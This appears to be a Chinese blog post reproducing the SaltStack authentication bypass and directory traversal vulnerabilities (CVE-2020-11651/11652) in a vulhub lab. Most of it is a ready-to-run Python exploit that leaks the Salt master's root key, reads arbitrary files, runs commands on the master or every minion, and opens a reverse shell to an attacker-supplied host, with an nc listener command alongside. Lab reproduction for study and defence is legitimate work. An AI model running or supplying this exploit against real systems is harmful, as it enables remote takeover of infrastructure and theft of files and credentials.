SaltStack 水平权限绕过漏洞(CVE-2020-11651+11652)

声明

好好学习,天天向上

漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

影响范围

  • SaltStack < 2019.2.4
  • SaltStack < 3000.2

复现过程

使用vulhub

这里使用2019.2.3版本

/app/vulhub-master/saltstack/CVE-2020-11651

启动

docker-compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

下载POC

https://github.com/dozernz/cve-2020-11651

我这用另一位大佬的POC,创建cve-2020-11651.py,内容如下,内容不需要修改,直接运行即可

# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime

import salt
import salt.version
import salt.transport.client
import salt.exceptions

DEBUG = False


def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')


def check_salt_version():
    print("[+] Salt 版本: {}".format(salt.version.__version__))

    vi = salt.version.__version_info__

    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
        return True
    else:
        return False


def check_connection(master_ip, master_port, channel):
    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
    sys.stdout.flush()
    try:
        channel.send({'cmd': 'ping'}, timeout=2)
        print('\033[1;32m可以连接\033[0m')
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;31m无法连接\033[0m")
        sys.exit(1)


def check_CVE_2020_11651(channel):
    sys.stdout.flush()
    # try to evil
    try:
        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;32m不存在漏洞\033[0m")
    except:
        print("\033[1;32m未知错误\033[0m")
        raise
    else:
        pass
    finally:
        if rets:
            root_key = rets[2]['root']
            print("\033[1;31m存在漏洞\033[0m")
            return root_key

    return None


def pwn_read_file(channel, root_key, path, master_ip):
    # print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])



def pwn_getshell(channel, root_key, LHOST, LPORT):
    msg = {"key": root_key,
           "cmd": "runner",
           'fun': 'salt.cmd',
           "kwarg": {
               "fun": "cmd.exec_code",
               "lang": "python3",
               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
                   LHOST, LPORT)
           },
           'jid': '20200504042611133934',
           'user': 'sudo_user',
           '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = channel.send(msg, timeout=3)
        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
        return True
    except:
        print("something failed")
        return False


def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
    if master_or_minions == "master":
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}

        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False

    if master_or_minions == "minions":
        print("Sending command to all minions on master")
        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
        cmd = "/bin/sh -c '{0}'".format(exec_cmd)

        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
               "user": "root", "jid": jid}

        try:
            response = channel.send(msg, timeout=3)
            if response == None:
                return True
            else:
                return False
        except:
            return False


#####################################

master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
    root_key = check_CVE_2020_11651(channel)
except:
    pass
while master_ip!='':
    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')

    whattype=input('请选择:')
    if whattype=='1':
        check_salt_version()  # 检查salt版本
        check_connection(master_ip, master_port, channel)  # 检查连接
        root_key = check_CVE_2020_11651(channel)  # 读取root key
        print(root_key)
    elif whattype=='2':
        path = input('读取路径:')
        try:
            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
        except:
            print('文件不存在')
    elif whattype=='3':
        print('1.master   2.minions')
        exectype = input('选择方式:')
        if exectype=='1':
            master_or_minions='master'
        elif exectype=='2':
            master_or_minions = 'minions'
        exec_cmd = input('输入命令:')
        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
    elif whattype=='4':
        LHOST = input('反弹到IP:')
        LPORT = input('反弹端口:')
        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
    elif whattype=='5':
        exit()

当然,运行POC的前提,是得安装依赖包(我这破网,搞了好久)

pip3 install salt

安装后,可以直接运行

python3 cve-2020-11651.py

运行后提示让你输入IP,直接输入IP就好

然后就是个while的循环菜单,用户体验极好

测试是否存在漏洞,就根据提示选1

读取文件,就选2,然后输入文件路径

反弹shell,就选3,记录,kali中先监听,比如我想让他往我的kali,192.168.239.139上的8888反弹

kali监听8888

nc -lvvp 8888

POC中选4,输入kali的IP和端口

在这里插入图片描述

在这里插入图片描述

使用完关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值